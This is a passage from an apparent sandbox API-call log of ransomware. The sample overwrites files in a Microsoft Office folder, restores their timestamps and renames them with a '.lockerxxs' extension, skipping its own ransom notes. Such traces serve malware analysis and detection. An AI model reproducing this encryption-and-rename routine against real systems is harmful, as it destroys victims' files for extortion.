ftCreationTime.dwHighDateTime=0x1bd8ab7, ftLastAccessTime.dwLowDateTime=0x6d56d990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb796bf00, ftLastWriteTime.dwHighDateTime=0x1bd8ab7, nFileSizeHigh=0x0, nFileSizeLow=0x121c, dwReserved0=0x3000003, dwReserved1=0x4f6000, cFileName="TYPE.WAV", cAlternateFileName="")) returned 1 [0066.155] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.155] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TYPE.WAV") returned -1 [0066.155] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TYPE.WAV") returned -1 [0066.155] lstrcmpiA (lpString1="", lpString2="TYPE.WAV") returned -1 [0066.155] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\SUCTION.WAV") returned="SUCTION.WAV" [0066.155] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" [0066.155] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="" [0066.158] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\TYPE.WAV") returned="TYPE.WAV" [0066.158] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0066.158] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x11f6, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x11f6, lpOverlapped=0x0) returned 1 [0066.159] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0066.159] CloseHandle (hObject=0x8c) returned 1 [0066.159] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\TYPE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\type.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\TYPE.WAV.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\media\\type.wav.lockerxxs")) returned 1 [0066.160] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdb8800, ftCreationTime.dwHighDateTime=0x1bfbeed, ftLastAccessTime.dwLowDateTime=0x7071e4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecdb8800, ftLastWriteTime.dwHighDateTime=0x1bfbeed, nFileSizeHigh=0x0, nFileSizeLow=0x35c6, dwReserved0=0x3000003, dwReserved1=0x4f6000, cFileName="VOLTAGE.WAV", cAlternateFileName="")) returned 1 [0066.160] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.160] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="VOLTAGE.WAV") returned -1 [0066.160] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="VOLTAGE.WAV") returned -1 [0066.160] lstrcmpiA (lpString1="", lpString2="VOLTAGE.WAV") returned -1 [0066.160] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\TYPE.WAV") returned="TYPE.WAV" [0066.160] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" [0066.160] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="" [0066.164] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\VOLTAGE.WAV") returned="VOLTAGE.WAV" [0066.165] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0066.165] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x35a0, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x35a0, lpOverlapped=0x0) returned 1 [0066.165] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0066.165] CloseHandle (hObject=0x8c) returned 1 [0066.169] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\VOLTAGE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\voltage.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\VOLTAGE.WAV.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\media\\voltage.wav.lockerxxs")) returned 1 [0066.170] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b50b600, ftCreationTime.dwHighDateTime=0x1bc8d47, ftLastAccessTime.dwLowDateTime=0x5e5c1270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b50b600, ftLastWriteTime.dwHighDateTime=0x1bc8d47, nFileSizeHigh=0x0, nFileSizeLow=0x6de, dwReserved0=0x3000003, dwReserved1=0x4f6000, cFileName="WHOOSH.WAV", cAlternateFileName="")) returned 1 [0066.170] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.170] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WHOOSH.WAV") returned -1 [0066.170] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WHOOSH.WAV") returned -1 [0066.170] lstrcmpiA (lpString1="", lpString2="WHOOSH.WAV") returned -1 [0066.170] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\VOLTAGE.WAV") returned="VOLTAGE.WAV" [0066.170] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" [0066.170] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="" [0066.173] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\WHOOSH.WAV") returned="WHOOSH.WAV" [0066.173] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0066.173] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x6b8, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x6b8, lpOverlapped=0x0) returned 1 [0066.174] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0066.174] CloseHandle (hObject=0x8c) returned 1 [0066.176] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\WHOOSH.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\whoosh.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\WHOOSH.WAV.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\media\\whoosh.wav.lockerxxs")) returned 1 [0066.177] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcde5800, ftCreationTime.dwHighDateTime=0x1bfc6e6, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdcde5800, ftLastWriteTime.dwHighDateTime=0x1bfc6e6, nFileSizeHigh=0x0, nFileSizeLow=0x2b84, dwReserved0=0x3000003, dwReserved1=0x4f6000, cFileName="WIND.WAV", cAlternateFileName="")) returned 1 [0066.177] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.178] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WIND.WAV") returned -1 [0066.178] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WIND.WAV") returned -1 [0066.178] lstrcmpiA (lpString1="", lpString2="WIND.WAV") returned -1 [0066.178] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\WHOOSH.WAV") returned="WHOOSH.WAV" [0066.178] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" [0066.178] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="" [0066.182] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\WIND.WAV") returned="WIND.WAV" [0066.182] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0066.182] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x2b5e, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x2b5e, lpOverlapped=0x0) returned 1 [0066.182] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0066.182] CloseHandle (hObject=0x8c) returned 1 [0066.198] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\WIND.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\wind.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\WIND.WAV.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\media\\wind.wav.lockerxxs")) returned 1 [0066.199] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcde5800, ftCreationTime.dwHighDateTime=0x1bfc6e6, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdcde5800, ftLastWriteTime.dwHighDateTime=0x1bfc6e6, nFileSizeHigh=0x0, nFileSizeLow=0x2b84, dwReserved0=0x3000003, dwReserved1=0x4f6000, cFileName="WIND.WAV", cAlternateFileName="")) returned 0 [0066.199] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0066.199] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d4f5000, ftCreationTime.dwHighDateTime=0x1cac037, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d4f5000, ftLastWriteTime.dwHighDateTime=0x1cac037, nFileSizeHigh=0x0, nFileSizeLow=0x1c798, dwReserved0=0x4f8120, dwReserved1=0x3, cFileName="Microsoft.BusinessData.dll", cAlternateFileName="MI5659~1.DLL")) returned 1 [0066.200] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.200] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.BusinessData.dll") returned -1 [0066.200] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.BusinessData.dll") returned -1 [0066.200] lstrcmpiA (lpString1="", lpString2="Microsoft.BusinessData.dll") returned -1 [0066.200] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\*.*") returned="*.*" [0066.200] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.200] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.200] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36c06100, ftCreationTime.dwHighDateTime=0x1ca24ad, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36c06100, ftLastWriteTime.dwHighDateTime=0x1ca24ad, nFileSizeHigh=0x0, nFileSizeLow=0x5a768, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BusinessData.xml", cAlternateFileName="MI1B7D~1.XML")) returned 1 [0066.200] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.200] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.BusinessData.xml") returned -1 [0066.200] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.BusinessData.xml") returned -1 [0066.200] lstrcmpiA (lpString1="", lpString2="Microsoft.BusinessData.xml") returned -1 [0066.200] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.BusinessData.dll") returned="Microsoft.BusinessData.dll" [0066.200] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.200] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.200] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17441800, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x662b9570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17441800, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x8a780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessApplications.Runtime.dll", cAlternateFileName="MI2E5E~1.DLL")) returned 1 [0066.201] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.201] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Office.BusinessApplications.Runtime.dll") returned -1 [0066.201] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Office.BusinessApplications.Runtime.dll") returned -1 [0066.201] lstrcmpiA (lpString1="", lpString2="Microsoft.Office.BusinessApplications.Runtime.dll") returned -1 [0066.201] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.BusinessData.xml") returned="Microsoft.BusinessData.xml" [0066.201] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.201] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.201] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe853200, ftCreationTime.dwHighDateTime=0x1ca24ae, ftLastAccessTime.dwLowDateTime=0x568a2e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe853200, ftLastWriteTime.dwHighDateTime=0x1ca24ae, nFileSizeHigh=0x0, nFileSizeLow=0x295c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessApplications.Runtime.xml", cAlternateFileName="MICROS~3.XML")) returned 1 [0066.201] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.201] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Office.BusinessApplications.Runtime.xml") returned -1 [0066.201] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Office.BusinessApplications.Runtime.xml") returned -1 [0066.201] lstrcmpiA (lpString1="", lpString2="Microsoft.Office.BusinessApplications.Runtime.xml") returned -1 [0066.201] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.Runtime.dll") returned="Microsoft.Office.BusinessApplications.Runtime.dll" [0066.201] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.201] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.201] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ad79f00, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x67a61010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ad79f00, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0xa2780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessApplications.RuntimeUi.dll", cAlternateFileName="MIBA26~1.DLL")) returned 1 [0066.201] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.201] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Office.BusinessApplications.RuntimeUi.dll") returned -1 [0066.201] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Office.BusinessApplications.RuntimeUi.dll") returned -1 [0066.201] lstrcmpiA (lpString1="", lpString2="Microsoft.Office.BusinessApplications.RuntimeUi.dll") returned -1 [0066.202] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.Runtime.xml") returned="Microsoft.Office.BusinessApplications.Runtime.xml" [0066.202] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.202] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.202] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd33c3f00, ftCreationTime.dwHighDateTime=0x1ca2551, ftLastAccessTime.dwLowDateTime=0x67a61010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd33c3f00, ftLastWriteTime.dwHighDateTime=0x1ca2551, nFileSizeHigh=0x0, nFileSizeLow=0xb2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessApplications.RuntimeUi.xml", cAlternateFileName="MI8366~1.XML")) returned 1 [0066.202] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.202] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Office.BusinessApplications.RuntimeUi.xml") returned -1 [0066.202] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Office.BusinessApplications.RuntimeUi.xml") returned -1 [0066.202] lstrcmpiA (lpString1="", lpString2="Microsoft.Office.BusinessApplications.RuntimeUi.xml") returned -1 [0066.202] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.RuntimeUi.dll") returned="Microsoft.Office.BusinessApplications.RuntimeUi.dll" [0066.202] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.202] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.202] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ad79f00, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x575e0870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ad79f00, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0xe9780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessData.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0066.202] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.202] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Office.BusinessData.dll") returned -1 [0066.202] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Office.BusinessData.dll") returned -1 [0066.202] lstrcmpiA (lpString1="", lpString2="Microsoft.Office.BusinessData.dll") returned -1 [0066.202] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.RuntimeUi.xml") returned="Microsoft.Office.BusinessApplications.RuntimeUi.xml" [0066.202] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.202] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.203] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe853200, ftCreationTime.dwHighDateTime=0x1ca24ae, ftLastAccessTime.dwLowDateTime=0x575e0870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe853200, ftLastWriteTime.dwHighDateTime=0x1ca24ae, nFileSizeHigh=0x0, nFileSizeLow=0x33737, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessData.xml", cAlternateFileName="MICROS~4.XML")) returned 1 [0066.203] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.203] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Office.BusinessData.xml") returned -1 [0066.203] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Office.BusinessData.xml") returned -1 [0066.203] lstrcmpiA (lpString1="", lpString2="Microsoft.Office.BusinessData.xml") returned -1 [0066.203] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessData.dll") returned="Microsoft.Office.BusinessData.dll" [0066.203] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.203] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.203] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0139200, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd0139200, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x4998, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll", cAlternateFileName="MI6145~1.DLL")) returned 1 [0066.203] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.203] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll") returned -1 [0066.203] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll") returned -1 [0066.203] lstrcmpiA (lpString1="", lpString2="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll") returned -1 [0066.203] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessData.xml") returned="Microsoft.Office.BusinessData.xml" [0066.203] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.203] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: 